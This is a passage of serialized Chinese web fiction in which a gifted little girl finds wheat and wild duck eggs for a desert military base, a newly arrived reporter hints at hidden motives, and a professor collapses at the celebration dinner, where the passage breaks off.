甜甜没来之前,整个**基地也到了山穷水的绝境了,可谁能想到,就在今天,在这片毫不起眼的沙窝之中,他们竟然发现了麦子!
那可是能蒸出雪白馒头、擀出劲道面条的麦子啊!
大家再也不用变着花样地研究红薯充饥了!
赵有田蹲在田埂边,颤抖着手挖出一捧泥土,放在鼻尖下仔细地嗅着。这要放在以前,打死他都不能相信,在沙漠深处能长出这般茁壮的麦苗。即便是之前发现的红薯地,也因肥力有限,不敢轻易尝试播种如此“金贵”的细粮。
但今天这块地不一样,它土层深厚、排水性好、透气性强,抓在手里仿佛能捏出油来,简直天然是为这片小麦而生的!
更不可思议的是,这片麦田竟是自然生长的——这怎么不是上天赐予的神迹?
老部长实在按捺不住,他用双手捂住脸,肩膀剧烈地耸动几下,从喉咙里发出了压抑的呜咽声。
滚烫泪水顺着指缝滴落,溅湿了在脚下这片土地上。
甜甜被这阵仗吓了一跳,缩在梁哲怀里,小声问:“爸爸,叔叔们和爷爷怎么哭了呀?”
梁哲深吸一口气,压下心头的汹涌,他轻轻抚摸着女儿的头发,声音沙哑却带着无尽的温柔。
“他们没哭,他们是太开心了。”
他搂紧女儿小小的肩膀,“甜甜,告诉爸爸,你是怎么找到这里的?上次来摘红果果的时候,也有这些麦子吗?”
甜甜眨了眨大眼睛,认真回想了一下,然后摇摇头:“上次来,只有红果果。小麦……是刚才沙子告诉甜甜的。它们说这里暖和又舒服,睡了好久,要出来晒太阳啦。”
听着女儿天真烂漫的童言,梁哲的心像是被什么东西狠狠撞了一下,酸涩又滚烫。他望着湛蓝的天空,眼眶泛红,将这一切都想象成冥冥之中妻子的护佑。
淑芬,是你吗?
是你不放心我们父女,才在天上,指引着我们的女儿吗?
第44章 小福星再显神通,全军疯抢保粮仓!
宋大壮率先从巨大的冲击和狂喜中醒过神,他胡乱抹了把脸,一把拽过梁哲。
“梁团,现在不是琢磨这个的时候!这些麦子熟得正是火候!这鬼地方你是知道的,说翻脸就翻脸!万一刮起一场大风,或者……”
后面的话他没说出口,但所有人都听懂了。戈壁滩的天气变幻莫测,一场突如其来的沙暴就能让眼前的一切化为乌有。
“大壮说得对!”赵有田用袖子狠狠抹了把脸,眼圈虽然还是红的,眼神已经恢复了往日的锐利和果决。
他扯着嗓子大吼一声:“全体都有,听我命令!”
“哗啦”一声,所有战士条件反射般挺直了脊背。
“一班长!”
“到!”
“你带两个人,立刻原路返回实验场!不,直接去基地指挥部!用最快的速度,向**报告这里的情况,请求立刻增派人手!”
“所有能调的人,能动的车,记住,是所有!带好收割和装载工具!地点——基地以北约三公里,环形沙窝盆地!重复一遍!”
“是!地点,基地以北约三公里,环形沙窝盆地!请求全部支援!”一班长吼着复述完毕,转身挥手,“二嘎子,小陈,跟我走!”
三条人影如同离弦之箭,朝着来路狂奔而去。
“大壮!”
“在!”
“你带着人,以麦田为中心,向外扩大警戒范围!密切注意一切可疑动静,包括天气变化!天上飞的、地上跑的,哪怕是只耗子,也不能让它靠近糟蹋粮食!”
“明白!保证完成任务!”宋大壮胸膛一挺,立刻转身部署。
“剩下的人,将收集的沙棘果立即运回基地,与大部队汇合,准备收麦!果子要收,粮食更要收,咱们哪样都不能落下!”
命令一下,众人立刻行动起来,瞬间化作高速运转的机器。此刻的他们,早已不是单纯的满心热情,简直是心头燃着一团火,所有人的动作都比之前快了不止一倍。寂静的沙棘林里很快便成了热闹的生产基地。
这边刚把一筐筐一盆盆的沙棘果运出去,那边支援的大部队已经浩浩荡荡开拔来了。
率先接到消息的是刘司令和白旅长,他们人刚到实验场,基地的电话就打了过来。白旅长握着话筒僵在原地,脸上是一片空白的茫然,仿佛听觉和理解能力同时离家出走。
“旅长?白旅长?”话筒里,一班长焦急的嗓子冒火。
“你……你再说一遍?”白旅长终于找回了自己的声音,“什……什么田?”
“麦田!”一班长几乎是吼出来的,“旅长,是麦田!一大片,全都熟了!”
正好走进来的刘司令看到白旅长这副魂不守舍的模样,浓眉一皱:“搞么子名堂?白树勇,哪个的电话?田?田和我们基地有么子关系?”
“司令……”白旅长缓缓转过头,握着话筒的手微微发抖,声音飘忽得像是踩在云上,“是基地……甜甜她,她找到了一片麦田……战士们请示……”
话还没说完,刘司令已经一把夺过话筒,冲着里面雷霆一般大吼,“什么东西,给老子说清楚!”
老司令的火爆嗓门震得话筒嗡嗡作响,也把一班长最后一点结巴给吓没了,他以最快的语速、最清晰的逻辑,将所见所闻再次汇报了一遍。
刘司令握着话筒,脸上的表情从惊疑到震惊,再到一种近乎眩晕的狂喜。他啪地挂上电话,转身一巴掌拍在自己脑门上!
“哎呀,我的个乖乖,我们小福星又立了大功了!她给咱们找到了一大片熟透的麦子!熟透的!”
白旅长终于缓过一口气,眼角不知什么时候沁出了泪花,“司令,那咱们……”
“还愣着做么子?!”刘司令声如洪钟,一边抓起搭在椅背上的军大衣往身上套,一边大步流星就往外冲,“给基地打电话!带人,带家伙,能去的都去!目标沙窝盆地,抢收麦子!一粒麦穗都不能给老子落下!”
“司令!”
闻讯赶来的钱教授一脚踏进指挥部,气息还没喘稳,已经提出了最敏锐的问题,“咱们基地里没有磨盘啊!收了麦子,怎么变成面?”
“买!”刘司令的回答只有一个字,斩钉截铁,“去镇上买!镇上不够,就去市里!老子就不信,搞不回几块磨盘来!一班长在电话里说了,那麦子,亩产最少也得有三百斤!”他用力比画了三个手指,“要真是一百多亩地都能有这个收成……”
老司令不敢再说下去了,他怕自己心脏受不了。
“钱老,你身体扛得住吗?和我们一起去看看?”
钱教授评估了一下自己现在的体能,一想到那片戈壁深处的金色麦浪,那幅激动人心的画面,哪里还坐得住?
“去!必须去!我也得开开眼界。”
“要得!”刘司令大手一挥,意气风发,“我们是第一拨,实验场的同志们是第二拨!白树勇,你留下安排后续!大伙能去的都去,帮小福星收麦子去!”
一声令下,整个实验场瞬间沸腾起来。
坐车的坐车,跑步的跑步,所有人都朝着那片沙丘的方向,风风火火地赶去。等到亲眼见到这片隐藏在沙丘中的麦浪,刘司令和钱教授不约而同地捂住心口,激动得半晌说不出话来。
几名经验丰富的战士立刻围到身边,生怕这两位老领导狂喜之下有什么闪失,早知这样,应该把卫生所的孙军医一起喊来。
“啷个厉害哟……”刘司令插着腰,喃喃地望着被风吹得起伏的麦秆,那沉甸甸的麦穗仿佛化成了道道金光,刺得老**眼眶发烫,几乎要落泪。
钱教授缓过一口气后,则在人群中急切地寻找:“甜甜呢,快让我瞧瞧,这乖囡是怎么做到的……”
“钱爷爷!”
梳着羊角辫的小姑娘从梁哲怀里挣出来,迈开小短腿跑了过来。那身碎花棉袄衬得她像只灵巧的蝴蝶,扑扇着就到了眼前。
钱教授快步迎上前,一把将孩子抱了起来。
“乖囡,你也太……”这位曾在万**会上慷慨陈词、挥斥方遒
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的学界泰斗,此刻望着怀中的小人儿,竟搜肠刮肚,也寻不出一个足以形容眼前奇迹的词汇。
这小福星除了是基地的救命人,还是自己的救命人,一次一次用她神奇的能力创造着神迹,怎么不说是天佑大夏呢!
千言万语,最终都化作满腔慈爱,钱教授将孩子紧紧搂在怀里,感动得无以复加。
“钱爷爷,你怎么瘦了呀?”
甜甜甜甜伸出软乎乎的小手,轻轻摩挲着老教授削瘦的脸颊,望见他眼中深藏的疲惫。她还太小,不懂得什么叫心疼,只觉得胸口闷闷的,很不舒服。
钱教授笑了笑:“乖囡,爷爷没事,你帮大家找到了粮食,往后我们吃饱了,爷爷就不会瘦了。”
日夜操劳,殚精竭虑,这些专家们为了祖国的**事业,早已将全部心血投入其中。他们燃烧着自己,照亮着前路。
甜甜似懂非懂地搂紧钱教授的脖颈,小小的心灵深处,涌起一股强烈的渴望——
她一定要为这些可敬的人,再做些什么。
就在他们说话间,支援部队一批又一批地赶到,便抄起的镰刀,争先恐后地冲进麦田。
镰刀挥舞间,麦秆被整齐地放倒,随后被一捧捧捆好、运出,麦田里一片热火朝天。
不止如此,为了激发大家的干劲,文工团的同志们也都赶来了,他们打起快板,唱起歌曲,喊起了雄浑的号子,为劳作的人们加油鼓劲。原本寂静荒凉的沙丘,瞬间变成了一片战天斗地的热土。
专家们、**们,没一个人闲着,纷纷挽起袖子下了地。他们都是苦出身,干起农活毫不生疏,一边收割一边赞叹这麦子长势实在喜人——只要轮种得当,往后的收成也不用愁了。
还有的专家干脆提议,“要我说,先前发现的土地也甭种红薯了,直接种上蔬菜,咱们以后菜、面都能自给自足,再也不用愁吃的了!”
“对对对,等蔬菜长成了,咱们的菜盘子可就丰富了,要啥有啥!”
“哎哟,这可真是做梦也不敢想的好日子啊。”
钱教授笑着放下甜甜,准备加入到收麦子的队伍里,甜甜忽然拽了拽他的袖子,“钱爷爷。”
“嗯?乖囡,怎么了?”
甜甜拉着他的手,迈着小脚丫朝麦田另一侧走,走了几步,她又回头朝梁哲招手,“爸爸,过来。”
梁哲扶了下军帽,快步跟上,“怎么了甜甜。”
“嘘!”
甜甜伸出一根手指,神秘地按在嘴边,悄声说:“爸爸,小声点哦。”
梁哲立刻配合地捂住嘴,冲甜甜做了个噤声的手势。
甜甜被他逗得“咯咯”笑出了声,随即又收起笑容,拉着钱教授继续往前走。
白旅长从麦田里直起腰,望见三人的背影,抬脚就要跟上去。
他的负责保护甜甜的安全。
刘司令却大手一伸,将他拦住了。
“莫急,有梁哲跟着,出不了事。”
心里却也浮起几分好奇:这小丫头,又有什么新发现?
第45章 离谱!甜甜带专家钻草丛,竟捡回两窝野鸭蛋
三人走到沙棘林边缘,这里长满了齐腰高的杂草。夕阳的余晖洒在草叶上,映出一层薄薄的金光。
甜甜站在草丛前,小小的身子几乎要被杂草淹没。
她歪着小脑瓜,像是在侧耳倾听着什么。
脸上的小表情认真又专注。
一旁的钱教授与梁哲交换了一个眼神,心中既期待又紧张——这位小福星,莫非是又发现了什么?
不约而同地,两人都屏住了呼吸。
梁哲张了张嘴,想问又不敢开口。如今女儿是全基地的宝贝疙瘩,就算他是父亲,也得为了女儿靠边站。
钱教授在一旁,用眼神示意他稍安勿躁,其实心里也充满了好奇。
一分钟,两分钟,三分钟……就在两人快要按捺不住时,甜甜突然小手一拍,脸上绽出欢喜的光彩。她提了提小裤子,率先迈开步子,嗤溜一下钻进了草丛。
梁哲和钱教授急忙跟上,三个人走走停停,不一会,甜甜在一棵高大的沙棘树下站住了。
在她脚边,是一丛茂密的草窠,甜甜伸手一指:“大白鸭,我来啦!”
话音刚落,只听“嘎——”的一声清鸣,一只羽色洁白的野鸭扑棱着翅膀,从草丛深处轻盈跃起。它在低空盘旋半圈,低头望了望甜甜,长颈微微一倾,仿佛在点头告别,随后便振开双翼,朝着夕阳的方向飞去。
甜甜踮着脚,使劲挥舞着小手,奶声奶气地喊道:“大白鸭,谢谢你呀!”
地面上,梁哲和钱教授看得一头雾水,完全不明白眼前这一幕的玄机。
却见甜甜快走几步,伸手把草丛一拨,“爸爸,看。”
梁哲这才发现,就在方才野鸭出现的地方,竟藏着一个用软草和羽毛细心垒成的窝。窝里整整齐齐卧着一堆野鸭蛋,蛋壳光洁,泛着淡淡的青白色,似乎还在冒着热气。
原来,甜甜方才是在等野鸭产蛋,而那只通灵的野鸭不知和她有什么默契,竟然把这些蛋都留给了她。
钱教授蹲下身,小心翼翼地从草窝里捧起一枚鸭蛋。鸭蛋沉甸甸的,足足有成人巴掌大小,摸上去还有温润的触感。
“整整十二个!”梁哲挨个数了一遍,声音里的激动几乎按捺不住。
“还有呢爸爸!”
甜甜说着,又拨开旁边的草窠——那里竟还藏着一窝鸭蛋,只是蛋面上多了些细碎的裂纹,隐约能听见里头细微的啄响,那是正在孵化的雏鸭蛋,小生命随时可能破壳而出。
“八个……钱老,这边还有八个!”梁哲简直不敢相信自己的眼睛。
甜甜背着小手,一本正经地解释,“爸爸,大白鸭说,这些蛋吃了就不累,送给爷爷们。”
她又指了指另一窝:“这些蛋,能变成小鸭。是鸭妈妈留给咱们的。”
“奇迹!真是奇迹!”钱教授激动莫名,谁能想到甜甜在发现了沙棘果和麦田的同时,又找到整整二十只鸭蛋?就算放在城里,这一窝新鲜的鸭蛋,也是大家想都不敢想的滋补品。
更何况运气好的话,他们还能孵出一窝小野鸭,基地或许能拥有自己的鸭群。
他望向甜甜清澈透亮的眼睛,一时竟不知该如何夸奖才好。
“乖囡,”钱教授把甜甜抱起来,抚摸着她的小脸,眼眶微热,“你帮爷爷们找到了这样的好东西,咱们一定要好好安排。”梁哲已经转身去叫人了。
二十枚蛋,不是小数目,他可不敢有半点闪失。
很快,刘司令和白旅长等人便闻讯赶来了,看着地上两窝圆滚滚的鸭蛋,众人脸上无不露出惊喜的神色。
“我们的小福星啊,还有什么是你做不到的!”
宋大壮性子急,伸手就要去捡,赵有田连忙拦住:“哎哎,你不行,你打仗是好手,这种精细活做不了。得来两个细心的同志,别把蛋磕坏碰了。”
很快,四名小战士走上前,先在竹筐里铺好松软的干草,再小心翼翼地把鸭蛋一个个挪进去。蛋与蛋之间还特意用软草隔开,防止搬运时互相碰撞。至于那几枚快要破壳的雏鸭蛋,战士们更是细心地在上面盖了层薄草,生怕失温影响孵化。
“司令,这些蛋来得太及时了,前阵子大家都熬坏了,您和钱老几位更是瘦了好几圈,正好吃这鸭蛋补一补。”赵有田喜滋滋地说。
“你莫要给我搞特殊化。”刘司令一摆手,“钱老,我不是搞技术的,你们科研人员最重要,拿走一半,让炊事班给你们蒸着吃,剩下的分给战士们。”
钱教授笑了笑,转头对梁哲说:“你去跟炊事班的李大嘴说,把这些鸭蛋煮一锅蛋花汤,这样每个同志都能分到一勺,人人有份。”
“这……”梁哲有些犹豫,下意识看向刘司令。
刘司令哈哈大笑:“咱们这些耍枪杆子的,脑子就是没人家知识分子转得快。就按钱老说的办!”
“不过嘛,”他话锋一转,补充道,“多留出一个,给炊事班的邢玉秀同志。”
众人闻言都没作声,只有宋大壮满脸疑惑:“为啥单独给邢嫂子留一个?”
白旅长瞪了他一眼,没好气道:“让留就留,哪来那么多为什么!”
“至于那些快出壳的蛋,一定要仔细照看
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。万一真孵出小鹅,咱们基地也能搞搞养殖。”刘司令继续吩咐。
钱教授再次蹲下身,与甜甜平视,柔声问道:“乖囡,爷爷和司令这样安排,你同意吗?”
小姑娘用力点了点头,脆生生地应了一声“嗯”,脑袋上可爱的羊角辫随着动作轻轻晃动。那模样憨态可掬,把在场的人都逗笑了。
刘司令一把将她抱起来,扛在了自己肩头。
身后的麦田里,收割已近尾声,成捆的麦穗被整齐地码放着,像一座座金灿灿的小山。
远处的天空中,最后一缕霞光正缓缓沉入地平线,将戈壁滩染成了温暖的橘红色。
“走喽!”刘司令扬声喊道,“今晚上有沙棘果和蛋花汤!等从市里买回石磨,爷爷给你蒸馒头喽!”
这是沈若文来到基地的第一天。
下午,孙军医又过来探望她,给她送了活血化瘀的膏药,嘱咐贴在伤处,顺便捎来一副拐杖。
沈若文连声道谢,等他走后便倚在床头迷迷糊糊睡了一会儿。
朦朦胧胧间,她听到外面一片欢腾,女同志们的欢声笑语此起彼伏,像是发生了什么天大的喜事。
正疑惑着,房门被推开,走进来一位身量高挑的女同志。她约莫三十出头,梳着利落的齐耳短发,腰间系着一条围裙,手里端着一只粗瓷碗。
“是沈记者吧?”女同志一见沈若文便笑了起来,笑容爽朗亲切,“我是邢玉秀,大伙都叫我邢嫂子。”
沈若文立刻反应过来,对面这张床正是邢玉秀的,连忙撑着身子坐起来,笑着打招呼:“邢嫂子好。”
“沈记者生得可真俊啊。”邢玉秀上下打量了沈若文一番,把手里的碗递了过去,“你尝尝这个,是刚摘的沙棘果,很有营养的。基地里人人有份,这是你的那一份。”
沈若文一怔,目光落在碗里,只见红澄澄的沙棘果饱满鲜亮,一看就是刚采摘不久的。
可这是寸草难生的沙漠啊,怎么可能有这么新鲜的果子?就算是供销社,也未必能买到这般成色的。
邢玉秀看出了她的疑虑,笑着解释:“这是沙棘果,基地附近发现了一大片沙棘林,碰巧被咱们找到了。”
“沙棘林?”沈若文愈发吃惊了。这基地不仅能喝到干净清洌的水,居然还能吃到新鲜水果,实在超出了她的预料。
邢玉秀说着,随手从碗里拈起一颗沙棘果放进嘴里。可刚嚼了两下,她眉头忽然一皱,忍不住干呕了几声,抬手揉了揉胃。
“邢嫂,你怎么了?是不是不舒服?”沈若文关切地问道。
第46章 戈壁喝到蛋花汤?暖心话语感动外来人。
“唉,没事没事。”邢玉秀摆了摆手,有些无奈地说,“本想着吃点酸的能舒服点,没想到还是不行。”
沈若文见她脸色不太好,劝道:“邢嫂,你坐会儿歇一歇吧,要不要喝点水?”
“不用,哪有那么娇贵。”邢玉秀爽朗地笑了笑,“我给你送完果子,还得去灶上忙活呢。你好好在屋里歇着,等着吃晚饭就行,今晚有好东西!”
她一副什么事都没有的样子,反倒让沈若文更加好奇。犹豫了一下,她还是问道:“邢嫂,你丈夫也在军营里吗?”
“在呢,就是忙得脚不沾地,三四天才能见上一面。”邢玉秀叹了口气,随即又笑了,“**们怕我一个人住着孤单,就让我搬进这个小院,等他回来我再去我俩的营房。”
邢嫂一看就是心直口快的性子,心里藏不住事。沈若文眼神微动,轻声说道:“嫂子,那你也挺辛苦的。”
“辛苦啥!”邢玉秀摆了摆手,“俺男人是为国家做事,他没念过多少书,泥腿子出身,现在国家不嫌弃他,让他当了兵,还待在这么好的基地里,**们也都格外照顾。就只是少见几面,算不得啥。”
说着,她指了指碗里的沙棘果,又道:“沈记者,你可别小瞧这果子,听说嘴上起了火燎泡、牙龈出血的,吃点这个就管用。咱这地方风沙大,能弄到一碗果子不容易,**们从不藏私,都分给大伙吃,就冲这一点,你说咱们这基地好不好?”
沈若文微微蹙眉,下意识地点了点头:“确实,很好。”
“所以你放心吃,别多想。”邢玉秀拍了拍她的手,“今晚还有更好的伙食呢,我得赶紧去帮忙了。”
“更好的伙食?”沈若文有些诧异。在这大戈壁上,再好的伙食能好到哪里去?无非是苞米面、棒子面,最多能吃上块红薯。早上那碗红薯粥,已经是她在镇上都难得吃到的好东西了。
邢玉秀神秘地笑了笑:“到时候你就知道了!**们说了,人人有份,就算是普通战士,也能吃得上。”
“嫂子,我实在有些不明白。”沈若文迟疑着开口,“现在全国物资都紧张,咱们基地怎么能吃上这么好的东西?”
邢玉秀虽然直率,却不傻,闻言挑了挑眉:“咋的,沈记者,这是要采访我啊?”
“啊,不是不是。”沈若文连忙摆手,“我就是随口问问,有点好奇而已。”
“这有啥好奇的。”邢玉秀笑了笑,“大沙漠里藏着不少好东西,碰巧让咱们撞上了呗。”她说着,整理了一下围裙,“我先去炊事班了,你好好歇着。”
“邢嫂!”沈若文连忙叫住她,犹豫着问道,“梁哲梁团长呢?我这一整天都没见到他,也没看到他的女儿。”
“他啊,比俺家男人还忙呢!”邢玉秀笑着说,“咋的,你找他有事?”
“没有没有。”沈若文连忙摇头,“只是我刚来基地,只认得他,当初他还救过我,所以随口问问。”
“原来是这样啊。”邢玉秀又仔细打量了她一番,笑着说,“沈记者,我看你比我小几岁,我就叫你一声妹子吧,成不?”
“成啊。”沈若文点了点头。
“那行,要是我见到梁团长,就跟他说你惦记着他,咋样?”邢玉秀打趣道。
“嫂子,别这么说。”沈若文脸颊一红,连忙低下头,“我就是随便问问,既然梁团长忙,我就不打扰他了。”
“嗐,害羞啥!”邢玉秀爽朗地笑了,“男婚女嫁是正经事,有啥好害羞的。不过话说回来,梁团的女儿你也见过,可爱得不得了,就不知道你能不能接受。”
沈若文心中暗笑,自己要的就是这效果,没想到这么顺利,碰到了这位大咧咧的邢嫂子,直接省去了许多口舌。
“不,我真没那个意思。”但心里想归想,她嘴上还急忙解释,“嫂子你别误会,也千万别跟别人说,免得让梁团长为难。”
“瞧你这紧张的样子。”邢玉秀笑着摆摆手,“嫂子这是没拿你当外人。说出来你别见怪,我娘家妈就是做媒婆的,我跟着她耳濡目染,见着合适的就想牵根红线。不过梁团是真的好,心地善良就不说了,模样也是咱们基地小伙子里拔尖的,你能惦记他,说明你有眼光。”
沈若文表情愈发尴尬,像是个情窦初开的少女,被人点破了心事,羞得不知如何是好。
见她这副样子,邢嫂也有点不好意思了,“你瞧我这张嘴,就是没把门的。”邢玉秀拍了拍自己的嘴,有些不好意思地说,“俺男人都批评过我好几次了。妹子,你别往心里去。快到饭点了,我得回去忙活了。你有啥需要的尽管跟我说
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,晚上我一并给你拿过来。”
“没有没有,嫂子费心了。”沈若文连忙说道。
等邢玉秀走后,沈若文晕红的脸颊很快就恢复了自然。她把自己倚回到床上,想起邢嫂子方才那一番做媒,唇角忍不住微微勾起——
撮合自己和梁哲?
怎么可能呢?
晚饭时分,来送饭的是李桂华。邢玉秀在灶上走不开,便托她把饭送过来。饭盒里装着蒸红薯、清蒸鱼,还有一碗浓稠的蛋花汤,香气扑鼻。
沈若文看着这丰盛的伙食,彻底惊呆了,几乎不敢相信自己的眼睛。在这戈壁基地里能吃到鱼已经够不可思议了,居然还有一碗蛋花汤?
她在镇上的时候,鸡蛋价格一直居高不下,更关键的是紧俏,需要凭票定量供应。就算每天天不亮就去排队,也未必能买上几枚。可在这里,居然能喝到这么浓稠的一碗蛋花汤——关键是她能喝到,其他同志肯定也能喝到,这怎么可能?难道炊事班有什么神通,既能弄到鱼,又能弄到这么多蛋?
她望着那碗热气腾腾、香气四溢的汤,忍不住舔了舔嘴唇,竟有些舍不得喝。
李桂华把饭盒放下,笑着问道:“沈记者,怎么不吃啊?是不是不合胃口?”
“不是不是。”沈若文连忙摇头,迟疑着问道,“李姐,你们基地……怎么能吃这么好?”
“今天运气好,战士们在附近碰到了野鸭,捡了几枚鸭蛋。”李桂华笑着解释,“**说,把鸭蛋煮成蛋花汤,让每个同志都能喝上一口,补补身子。”
“可我不是你们基地的人啊,也能有我的一份?”沈若文还是有些不敢相信。
“瞧你说的这是什么话!”李桂华嗔怪地看了她一眼,“你不是基地的人,也是大夏的子民啊!都是同胞,都是为了建设国家,分什么你的我的?何况你是群众,我们部队有义务照顾好群众,怎么能让你在基地受委屈?”
沈若文的心弦被瞬间拨动。
在这粮食比黄金还珍贵的饥荒岁月里,她本已做好了被苛待的准备,却没想到基地的人不仅没有排斥她,反而把最好的食物分给她,待她与其他同志一视同仁。这份真诚与温暖,让她始料未及。
“谢谢你们。”她抬起头向李桂华道谢。
这一次,她是真心实意的。
第47章 突发!援建教授突然倒下,基地再起波澜!
暮色四合,戈壁基地的食堂里早早亮起了马灯。昏黄的光晕洒过一排排长条木桌,投在粗糙的墙面上上,给这间简陋的屋子铺就一层人间烟火气。
饭香混着柴火气,早已飘遍了营区。炊事班的大铁锅里,鸭蛋汤正咕嘟咕嘟地翻滚,金黄的蛋花在清亮的汤水中打着滚,混着深绿色的沙棘叶,散发出一种独特的、略带草木香气的味道,勾引着每一个饥肠辘辘的人。
旁边的木盆里,沙棘果洗得透亮,红莹莹地堆成小山,像一盆精致的红玛瑙。
开饭的号子还没吹响,战士们和科研人员就已经端着搪瓷缸子,争先恐后地挤了过来。
“都排好队啊!人人有份!”李大嘴系着围裙,手里的大铁勺敲得锅沿叮当响,脸上的褶子都笑开了,“先领汤,再拿果子!谁抢,可别怪我用铁勺削人!””
队伍后头有人扯着嗓子喊:“大嘴哥,你这汤吊得也太鲜了!我人还在研究室里画图,味儿就钻鼻子里了!”
“那是!”李大嘴得意地扬起下巴,“这可是最新鲜的鸭蛋!”
“待会盛汤的勺子可别抖啊!”又有人起哄。
李大嘴笑骂着回怼:“放心吧!汤管够!便宜你们这帮狼崽子了!”
打饭的队伍排得老长,大家伙儿嘴里插科打诨,眼神却齐刷刷黏在那口大铁锅上,一个个脸上都漾着藏不住的幸福感。
“李哥这手艺,我这辈子就没闻过这么勾人的味儿!”一个年轻战士吸溜着鼻子,馋得直咂嘴,惹得身后人一阵哄笑。
“你小子就是馋!不过话说回来,能和这香味媲美的,也就老家过年那会儿了。”旁边一个老兵叹了口气,眼底泛着怀念,“俺娘把攒了半年的肉票换了块五花,给俺们包顿猪肉白菜馅饺子,那叫一个香!”
“别着急!”赵有田走过来,拍了拍那战士的肩膀,嗓门洪亮,“运气好的话,用不上几天,咱们也能吃上饺子!”
“真的?”年轻战士眼睛唰地亮了。
“那还有假?”另一名战士凑过来搭话,“今天割的麦子,等石磨拉回来,臼出面粉,就能包饺子解馋了!”
“娘啊……这日子也太有盼头了!”一句话戳中了所有人的心思,队伍里的情绪瞬间更亢奋了。
打饭的队伍缓缓向前,轮到钱教授时,李大嘴特意给他的碗里多舀了两勺蛋花,钱教授连忙摆手:“匀着点,匀着点,给小战士们多盛些,他们今天最辛苦。”
“钱老您就别推辞了!”李大嘴嗓门洪亮,“**说了,你们搞研究得最耗神,多吃点好的补补!”
一碗热汤下肚,暖流瞬间从喉咙淌到胃里,连日来的疲惫仿佛都被熨帖得舒舒服服。战士们端着碗,呼噜呼噜喝得香甜,有人忍不住咂摸咂摸嘴:“香!真香!要不说是鸭蛋熬的汤,我还以为是炖了只老母鸡呢!”
旁边的科研员笑得见牙不见眼:“可不是嘛!在戈壁滩上能喝上这么一碗,简直像在做梦!”
喝完汤,大家又凑到木桶边捡沙棘果。红果子咬在嘴里,酸中带甜,汁水瞬间迸开,润得人嗓子都清亮了。那些嘴上起了火燎泡的战士,吃了几颗果子,感觉嘴角的疼都消了大半。
“还得是这种正宗的沙棘果!比供销社卖的山楂丸还管用!”一名满脸络腮胡的战士啧啧赞叹,拈着果子爱不释手。
角落里,刘司令抱着甜甜,正用小勺舀起一勺蛋花汤,耐心地吹凉了喂她。小姑娘抿了一口,眼睛弯成了小月牙,脆生生地道:“谢谢爷爷,汤汤真好喝!”
“好喝就多喝点。”刘司令刮刮她的小鼻子,又把自己碗里的蛋花盛出来喂她。
他的目光扫过食堂里一张张笑脸,有人边吃边聊,唾沫横飞地说着白天的趣事;有人互相让着果子,你推我搡地闹作一团;连平日里最严肃的白旅长,嘴角都噙着一抹难得的笑意。
这戈壁滩上的食堂,没有精致的碗筷,没有丰盛的菜肴,可这一碗蛋花汤,一捧沙棘果,却盛满了最真切的欢喜。
不知是谁先起的头,一声浑厚的嗓音划破了喧闹。
“团结就是力量!”
立刻有人跟上,声音越来越齐,越来越响亮。
雄浑的歌声很快在食堂里回荡开来,盖过了碗碟碰撞的叮当声,飘出了蒙着水汽的门窗,飘向了远处沉甸甸的麦田和茂密的沙棘林,飘向了这片他们用汗水和青春守护着的戈壁滩。
在这一片祥和的氛围中,地质学教授郑宏和助手高衍舟,水利专家江国强和王总设计师围坐的桌子前,气氛却和众人的略有不同。
江国强因为之前万洪辛一事,一直闷闷不乐。虽然他已经被直升机押回京城受审,接受了应得的惩罚,但毕竟多年师生,说没有感情那是骗人的。他的心情,充满了失落了茫然。
王总设计师察觉到了他的消沉,一直默默陪伴在侧,竭力找着各种话题和他聊天,试图打开他郁结的心锁。
而另一边的郑宏教授,状态更加糟糕。他
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眼窝深陷,脸色在灯光下泛着不健康的灰白。他的助手兼弟子高衍舟,对他这个样子忧心忡忡,关切地道:“老师,您最近瘦多了,这沙棘果听说很有营养,您尝两颗?”
郑宏闻着果子独有的酸甜味,感觉胃口缺缺,不禁摇了摇头。
高衍舟见状,又把自己碗里没动几口的汤推过去:“那您多喝点汤,暖暖胃。”
“别忙了,我吃不下。”郑宏的声音沙哑的厉害,透着一股说不出的疲惫。
“老师,您别总惦记着万洪辛那档子事,他犯了国法,是他罪有应得,和咱们没关系。”高衍舟放柔了声音劝道,“您看连江教授都没被牵连,咱们只要做好自己的工作就行。等按要求把农业灌溉的阶梯用水管网铺好,就能回京城了。”
“我压根没想万洪辛的事。”
郑宏声音有些沙哑,揉了揉阵阵发痛的太阳穴,“他做了**求荣的间谍,万死难赎!我是恨自己这身体不争气。衍舟,管道工程是关键,你得盯紧了,咱们得给基地,给‘长剑’工程,打好这个后勤基础,想办法帮他们开垦出一片绿洲来。”
说话间,他习惯性地想去拿水杯,手指却几不可察地颤了一下。
坐在对面的钱教授注意到他的异常,放下碗走了过来,手里拿着一个小瓶:“郑工,看你气色很差。这是孙军医在镇上买回来的鱼肝油,对眼睛和身体都好。你先拿着。”
王总设计师也看出他脸色不对劲,放下碗筷关切道:“老郑,要是实在扛不住,就回去歇着,别硬撑。这阵子总看你无精打采的,是不是哪里不舒服?”
高衍舟叹了口气,接过话头:“老师这阵子总是头痛,看东西偶尔模糊,还掉头发。我劝他歇两天,可他说灌溉管网的工期紧,基地等着用水开荒,说什么也不肯停下来,恨不得天天扎在水塘上。”
“哪有你说的那么夸张,别给大伙添麻烦。”郑宏瞪了自己的徒弟一眼,语气里带着几分逞强。他这辈子较真了一辈子,仗着年轻时练出来的好底子,从来不知道“歇着”两个字怎么写,只想着抓紧每一分每一秒,把管网铺好。
他伸手去接钱教授递过来的药瓶,声音勉强挤出点笑意:“钱老,谢了。我就是有点累,吃两天鱼肝油就没事了,放……”
最后一个“心”字还没来得及说出口,他忽然猛地捂住胸口,喉咙里发出一声短促而痛苦的闷哼,手里的药瓶“当啷”一声撞在桌面上,滚落到地上。
第48章 庆功宴变惊魂夜!郑教授生命垂危
“老师?您怎么了?”高衍舟离他最近,见状大惊,连忙伸手扶住他的身体。
郑宏没有回答,他的身体开始不受控制地颤抖,额头上瞬间渗出豆大的冷汗,整张脸由苍白转为一种骇人的青灰色。他想说话,嘴唇翕动着,却只能发出“嗬嗬”的气音。
“郑教授!”
“快!扶住他!”
坐在他身后的宋大壮,一直默默留意着这边的动静,此刻猛地一个箭步冲了过来。
食堂里的欢笑声、歌声,戛然而止。
所有人都惊愕地看向这边。
“呕——!”郑宏猛地弯下腰,剧烈地干呕起来,却什么也没吐出来。他的呼吸变得极其困难,双手紧紧抓住胸前的衣襟,指甲几乎要掐进肉里。
“是不是噎住了?”有人慌乱地喊了一声,想要上前帮忙。
